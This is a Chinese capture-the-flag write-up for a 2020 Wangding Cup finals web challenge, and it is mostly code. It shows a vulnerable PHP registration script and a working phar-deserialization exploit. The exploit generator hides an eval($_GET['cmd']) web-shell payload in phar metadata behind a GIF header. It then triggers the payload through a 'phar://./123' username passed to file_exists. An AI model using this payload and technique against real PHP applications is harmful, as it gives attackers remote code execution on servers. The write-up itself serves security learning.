[网鼎杯 2020 总决赛]Game Exp
知识点
解题步骤
代码审计:
register.php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
include_once "../user.php";
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$mysql = new sqlhelper();
$password = md5($password);
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
$sql = "INSERT INTO user (username, password,avatar ) VALUES ('$username','$password','$filename')";
$res = $mysql->execute_dml($sql);
if ($res){
echo "<script>alert('注册成功');window.location='index.php';</script>";
}else{
echo "<script>alert('注册失败');</script>";
}
}
}
else
{
echo "<script>alert('非法文件');</script>";
}
}
一个危险函数打脸上。估计是反序列化,而且还有文件上传,可能需要phar。发现文件过滤很多,只能上传图片了。但是username可控,就说明文件名可控,而且出现了file_exists函数。可以看看上面链接的总结,这个函数能触发phar反序列化。
第一步:注册一个新用户,上传phar文件。
生成phar的exp:
<?php
class AnyClass{
var $output = "eval(\$_GET['cmd']);";
}
$a = new AnyClass();
$phar = new Phar('123.phar',0,'123.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
记得将phar修改为png等图片后缀上传。然后保存的文件为当前目录下的username
.png。
第二步,创建一个phar://phar文件用户,然后触发反序列化getshell:
之前我创建的用户为123,并上传了文件。这次注册可以上传随便一个相同后缀文件,然后用户名为:
phar://./123
因为注册的时候,用户名会拼接上文件后缀,所以只需要phar://后面加用户名即可。rce直接拿到flag